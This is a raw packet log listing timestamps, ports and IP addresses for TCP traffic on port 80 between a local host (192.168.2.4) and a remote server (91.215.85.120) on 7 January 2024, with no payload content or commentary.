Jan 7, 2024 05:29:20.912802935 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.913064957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.913168907 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.913207054 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.913244009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.913405895 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.913530111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.913563967 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.913667917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.913737059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.913822889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.913917065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.914123058 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.914535046 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.914617062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.914674997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.914704084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.914892912 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.914973974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.915270090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.915303946 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.915358067 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.915421009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.915496111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.915558100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.915667057 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.915859938 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.915915966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.916174889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.916249037 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.916419983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.916462898 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.916625977 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.916652918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.917062044 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.917135954 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.917217016 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.917339087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.917355061 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.917413950 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.917432070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.917506933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.917546988 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.917864084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.917927027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.917984009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.918021917 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.918083906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.918133974 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.918452024 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.918469906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.918515921 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.918560028 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.918622971 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.918700933 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.918715000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.918977976 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.919023991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.919023991 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.919641972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.919684887 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.919686079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.920563936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.920633078 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.920648098 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.920732975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.920768976 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.920821905 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.921334028 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.921462059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.921504974 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.921518087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.921554089 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.921586990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.921710014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.921821117 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.921858072 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.921905041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.921943903 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.922010899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.922939062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.923023939 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.923075914 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.923827887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.923873901 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.923877001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.923944950 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.924021959 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.924110889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.924139023 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.924165010 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.924194098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.924220085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.924289942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.924304962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.925065041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.925151110 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.925194979 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.925487995 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.925532103 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.925597906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.926227093 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.926359892 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.926405907 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.926407099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.926445961 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.926476955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.927839994 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.927921057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.927921057 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.928040028 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.928061008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.928083897 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.928091049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.928124905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.928128958 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.928169012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.928210974 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.928242922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.928316116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.928395987 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.928445101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.928502083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.928546906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.928565979 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.928739071 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.928790092 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.928879023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.928945065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.929003954 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.929065943 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.931152105 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.931201935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.931252003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.931287050 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.931287050 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.087331057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.087436914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.087486029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.087569952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.087613106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.087654114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.087687969 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.087769985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.087887049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.087937117 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.088002920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.088048935 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.088073015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.088166952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.088210106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.088257074 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.088311911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.088357925 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.088471889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.088504076 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.089374065 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.090228081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.090322971 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.092135906 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.092704058 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.092881918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.092998981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.093050957 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.093063116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.093112946 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.093147993 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.093228102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.093281031 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.093322992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.093393087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.093436003 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.093485117 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.093580008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.093631029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.093658924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.093786955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.093873024 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.102232933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.102262974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.102277040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.102318048 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.102330923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.102376938 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.102420092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.102499962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.102686882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.102735043 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.102781057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.102822065 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.102890968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.102974892 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.103121996 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.103163958 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.103203058 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.103245974 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.103348017 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.103415012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.103518963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.103562117 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.103585005 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.103621960 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.103629112 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.103691101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.103753090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.103986025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.104060888 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.104068995 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.104089975 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.104193926 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.104234934 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.104249954 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.104330063 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.104614973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.104665995 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.104701996 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.104741096 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.104754925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.104835033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.105006933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.105056047 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.105288982 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.105340958 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.105370998 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.105492115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.105535030 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.105638981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.105706930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.105808973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.105884075 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.105906010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.105952978 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.105995893 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.106070042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.106117010 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.106255054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.106363058 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.106412888 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.106450081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.106508970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.106554985 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.106597900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.106682062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.106741905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.106762886 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.106786966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.106857061 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.106861115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.106935978 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.106985092 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.107014894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.107165098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.107223034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.107234955 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.107305050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.107352972 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.107418060 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.107558012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.107599020 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.107606888 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.107681990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.107728958 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.107737064 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.107803106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.107846975 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.107908010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.107965946 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.108015060 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.108021975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.108165026 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.108189106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.108212948 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.108233929 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.108273029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.108349085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.108417034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.108501911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.108509064 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.108540058 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.108592987 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.108613014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.108696938 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.108777046 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.108823061 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.108927965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.108971119 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.109100103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.109236956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.109297991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.109338999 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.109359980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.109450102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.109500885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.109514952 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.109551907 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.109570980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.109646082 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.109699965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.109749079 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.109766960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.109818935 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.109894037 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.109993935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.110045910 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.110091925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.110131025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.110322952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.110378981 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.110455990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.110522032 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.111598969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.111614943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.111660957 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.111723900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.111850023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.111903906 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.111933947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.111993074 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.112035990 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.112207890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.112461090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.112524986 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.112536907 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.112575054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.112612963 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.112675905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.112776041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.112840891 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.112941980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.113023996 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.113149881 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.113164902 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.113209009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.113255024 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.113276005 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.113368988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.113467932 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.113470078 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.113486052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.113524914 CET	49735	80	192.168.2.4	91.215.85.120
